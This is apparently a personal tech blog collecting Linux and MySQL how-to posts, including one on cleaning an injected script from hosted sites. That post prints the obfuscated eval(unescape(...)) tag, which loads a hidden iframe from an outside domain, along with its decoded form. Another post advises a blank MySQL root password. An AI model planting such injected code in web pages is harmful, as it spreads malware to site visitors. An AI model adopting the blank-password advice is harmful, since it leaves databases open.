Setting up a MyDLP server

MyDLP is a free and open source data loss prevention software that runs with multi-site configurations on network servers and endpoint computers. MyDLP is currently supported only on Ubuntu. You can download a preconfigured MyDLP Server Installation Disk Image from the MyDLP website. This is a short article on how I setup MyDLP on a brand new server system.

Install Ubuntu

I had an Ubuntu 12.04 (Precise Pangolin) image available, and decided to use it for the new server. Since the server system did not have an Optical Drive, I had to create a bootable USB media. For creating the bootable USB drive from the ISO file, I used Linux Live USB Creator from on a Windows PC. The procedure was simple

  1. Select the USB Media (USB Key)
  2. Choose the source media (ISO file / CD ROM)
  3. Optionally, configure the advanced options. (I disabled the VirtualBox options, since the USB drive will be used only as an installation media)
  4. Click on the lightning button to create the bootable USB drive

Plugin the USB drive to your computer. Boot to BIOS settings and select the USB drive as the primary hard disk. Save the changes and restart. If everything went fine, the system will boot to the Ubuntu installation screen.

Install MyDLP

If you are not installing Ubuntu from the the pre configured MyDLP Server Installation Image, you need to install MyDLP separately. To install MyDLP, the MyDLP repository  needs to be added to apt repositories list.

First of all, install the public key for the repository
wget -q -O - http://ftp.linux.org.tr/mydlp/mydlp_repository.pub | sudo apt-key add -

Once the key is successfully installed, add the MyDLP repository using
sudo add-apt-repository "deb ftp://ftp.linux.org.tr/mydlp/ubuntu precise main"

Update apt to reload the repositories.
sudo apt-get update

Now that the repository is configured, we are ready to install MyDLP and its dependencies.
sudo aptitude install mydlp mydlp-appliance squid3-ssl

During the installation process, you will be prompted to set MySQL root password. MyDLP had trouble connecting to the MySQL database, when I used a non-empty password. So when you are installing for the first time, it is better to leave the passwords blank.

If the installation completed successfully, you will be able to login to the MyDLP web UI by visiting
http://127.0.0.1/

The default username and password for the MyDLP web appliance is mydlp. Replace 127.0.0.1 with your server ip address, if you are installing on a remote server.

Now you should be having a Squid proxy server listening on port 3128 of the server. To test the new DLP server, add some test policy rules using the MyDLP web UI. Update your router firewall to block direct internet access from your workstations. Configure the workstations to use the squid server installed on your new server as proxy server. Try browsing the internet from the workstation. If your server is properly setup, you can see that your requests are blocked / allowed based on your configured rules. The blocked requests will be listed in the logs section of web UI for audit purpose.

I used iptables on my TomatoUSB router to transparently redirect all traffic through my proxy server. The main advantage of configuring the proxy at the router level is that you don’t have to configure each workstation separately. Also, you can easily configure the router to block all internet access, except through the proxy.

Removing uy7gdr5332rkmn malware

Recently I got a mail from my hosting provider that few of my sites were distributing malware. I connected to my server and found out that all the index files had the following script tag appended to them.

<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%65%64%70%6F%6F%2E%63%6F%6D%2F%3F%35%35%38%39%39%32%31%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn -->

The decoded version of the code is
document.write('<iframe src="http://sedpoo.com/?5589921" width="1" height="1"></iframe>');

Removing the code manually was impossible, since a number of sites were affected and few of the sites had several levels deep directory hierarchy.

Once again unix shell commands came to my rescue. The following command will remove the script from .html, .htm and .php files. If you have other extensions like .tpl modify the command accordingly

find . \( -name "*.html" -o -name "*.htm" -o -name "*.php" \) -print0 | xargs -0 perl -p -i -e "s#<script>eval\(unescape\('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%65%64%70%6F%6F%2E%63%6F%6D%2F%3F%35%35%38%39%39%32%31%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'\)\);</script><\!-- uy7gdr5332rkmn -->##"

Make sure you run the above command from your account root directory (which is usually your FTP user’s home directory), because the malware affects the default error documents too, which are sometimes located outside the document root (In Plesk the document root is ~/httpdocs and the error documents are located in ~/error_docs )

Please keep in mind that your duty doesn’t end with disinfection. The above code will only remove the malicious code from the pages. It will not prevent the files from getting infected again. Most of the times the malware is uploaded via compromised FTP accounts (stolen password / brute forced account). Make sure you change your FTP password. If possible setup password less login via SFTP.

Extract single/multiple tables from MySQL dumpfile

An year back I posted on how to extract a single table from a MySQL dump file. Today, I decided to write a shell script to automate the whole process. Now it is possible to extract a single table or a range of tables from a dump file with a single command.

Usage

The script can be invoked with and without any parameters. The script usage is

./extract_table.sh mydumpfile.sql tablename tablename2

All parameters are optional. If the third argument is provided, the script will extract all tables from tablename to tablename2. If it is not specified, only tablename will be extracted.

If first and/or second argument(s) are/is omitted, the script goes into interactive mode, allowing you to select the file and table name. The interactive mode also allows you to view a list of all the tables in the dump file. You can extract a group of tables or a single table.

License

It took me a few hours to write the code. So, with the hope that someone will find this useful, I am releasing the code under MIT, BSD and GPL licenses. Feel free to contact me, if you are a fan of another license 🙂

Download

The script can be downloaded from Github. The current version is 1.0.
MySQL Dump Table Extractor

View currently running MySQL queries in realtime

Today I was playing around with Apache Solr. I was really impressed by its text searching capability, especially the MoreLikeThis search handler. I wanted to configure the DataImportHandler to import data directly from my MySQL database. It was really easy to configure, and I was able to perform a full import quickly. But when I tried to do a delta import, I found that it was not working as expected. Even though I was calling the delta import, it was causing a full import.

You might be wondering  why I am saying all these here. Well, I suspected that the problem was actually because of my SQL query for delta load.  But to be sure, I wanted to see the query being executed by Solr DataImportHandler. As always I turned to Google for assistance, and I finally reached the MySQL documentation on the General Query Log. Voila! This was exactly what I wanted. All I had to do was use the –log=[filename] parameter and all my queries will be logged to the specified log file. Nice, isn’t it?

Now I have to stop my running MySQL server and restart it with the –log switch, in addition to the other regular options. But there was a problem, I was not sure of the other required parameters. You can use the ps utility, when the MySQL server is running, to find out the normal parameters.

ps -ax | grep mysql

For me the output was

/usr/local/mysql/bin/mysqld –basedir=/usr/local/mysql –datadir=/usr/local/mysql/data –user=mysql –pid-file=/usr/local/mysql/data/localhost.pid –port=3306 –socket=/tmp/mysql.sock

Now shutdown the MySQL server.

// On Mac
/Library/StartupItems/MySQLCOM/MySQLCOM stop

// For other Linux/Unix variants try
/etc/init.d/mysqld restart
service mysql restart

Start mysqld with –log option

/usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --user=mysql --pid-file=/usr/local/mysql/data/localhost.pid --port=3306 --socket=/tmp/mysql.sock --log=/tmp/query.log

The general query log contains lots of irrelevant information. To view the log after filtering out the unwanted details use tail and grep as given below

tail -f /tmp/query.log | grep -v Connect | grep -v Quit

The amount of information added to the file is quite large. If you are using this on a production server, I recommend turning off the logging once you are done.

Split header and footer into separate files using awk

Recently I had to write a shell script to read a file and split it into header and footer. The header and footer were to be saved into different files. At first I decided to write a script to loop through the file and save the content after performing the necessary condition check. But later I decided that this is not the best solution and checked whether there was a single line command for the same. As usual, I found a simple solution to the problem with awk.

awk '{if (NR == 1)print >> "header.txt"; else print >> "body.txt";}' input.txt
Where NR is a built-in variable that contains the number of the current record / line,
input.txt is the input file,
header.txt is output file for header,
body.txt is the output file for the remaining content

Awk reads the input file (input.txt) line by line and checks whether the current line is the first line. If so the content is appended ( >> ) to the file header.txt. Else the content is appended to body.txt.

Saving wget file with different filename

Anyone who has worked with Linux must be familar with the wget utility. wget utility allows you to download files from a remote server using HTTP, HTTPS and FTP protocols. Downloading files using wget is as simple as

wget http://www.joycebabu.com/my-photo.jpg
Where http://www.joycebabu.com/my-photo.jpg is the file to be downloaded.

By default wget saves the file with the same name as the fetched file. For example, the above command will save the file as my-photo.jpg in the current working directory. If a file already exists with the given name, the downloaded file will be named as my-photo.jpg.1, my-photo.jpg.2 etc until a non existent filename is found.

It is possible to explicitly specify a different name for the downloaded file. This is possible using the -O switch (--output-document also works, but I believe short is sweet). The new command is

wget -O photo.jpg http://www.joycebabu.com/my-photo.jpg
Where photo.jpg is the new filename.

But be careful while using the -O switch. If there is an existing file with the same name, it will be overwritten with the new file.

Copying multiple files simultaneously using scp utility

Happy New Year to all.

I have been using the Secure Copy (scp) utility for copying files between my local server and development server. Sometimes I have to copy more than one file. Previously I used to copy the files one at a time. This is very annoying, as you have to type the password every time you use the command . But it is possible to copy multiple files using scp, just like the copy (cp) utility.

When you have to copy multiple files to your remote server, the syntax is similar to the cp command.

scp file1.sql file2.sh joyce@joycebabu.com:~/upload

Where file1.sql and file2.sh are the files to be copied, joyce is the username, joycebabu.com is the hostname and ~/upload is the destination directory on the remote server.

In order to download multiple files from the remote server, the command to be used is

scp joyce@joycebabu.com:"file1.log file2.log" ~/logs

Where file1.log and file2.log are the files to be downloaded and ~/logs is the destination directory on the local server. Notice the quotes around the filenames. This ensures that the filenames list is not parsed by the local shell and is passed to the remote shell. Similarly, when you want to download files using wildcards (*.php, files_?.log etc), you should enclose the name within quotes to ensure that the expansion is done by the remote server.

The -r option can be used to copy directories recursively.

scp -r joyce@joycebabu.com:~/logs ~/logs

This may not be a lifesaver tip and the time gained by this method may be small. After all, when a large number of files are to be transferred, I use FTP or tar my files and copy it. But at times when things go wrong, even this small gain can help.

Extract single table from a mysql dump

Update: I have written a  wrapper script for extracting single/multiple tables from a dumpfile. Now it is possible to extract tables with single command. Visit

The other day, while working with the MySQL database of one of my sites, I accidentally damaged one of the tables irrecoverably. Fortunately, I was using AutoMySQLBackup script to backup all my databases at 12 AM every day. To save time, I decided to import only the damaged table. But when I tried to open the .sql file created by the mysqldump program, I understood that it was not going to as easy as I thought. The dump file was over 100 MB in size and  none of my text editors allowed me to open a file of that size.

As usual, I approached Google for a solution and it introduced me to two different solutions – AWK (a programming language) and Sed (a unix utility). There is only a very slight difference between the two commands.

awk '/-- Table structure for table .tbl_first./,/-- Table structure for table .tbl_second./{print}' mydumpfile.sql > mytable.sql

sed -ne '/-- Table structure for table .tbl_first./,/-- Table structure for table .tbl_second./p' mydumpfile.sql > mytable.sql

Here tbl_first is the table I wanted to extract and tbl_second was the table below that. The above commands will search the file mydumpfile.sql and extract the text between the start string (— Table structure for table .tbl_first.) and end string (— Table structure for table .tbl_second.). The dots before and after the table name are wildcard character to match the engrave character, which has a special meaning in shell commands. The {print} option (p in sed) prints the extracted string, which is then redirected to the file mytable.sql.

But that didn’t solve my problem completely. I was not sure of the order of tables in the .sql file. This time  grep (another powerful unix utility) came to my rescue. The following command lists all the tables in the file mydumpfile.sql in the same order in which they appear in the file.

grep 'Table structure' mydumpfile.sql | cut -d'`' -f2

I don’t know a lot about shell commands. But with my very limited experience I can say that they are extremely powerful. Two small lines of code saved me a lot of time.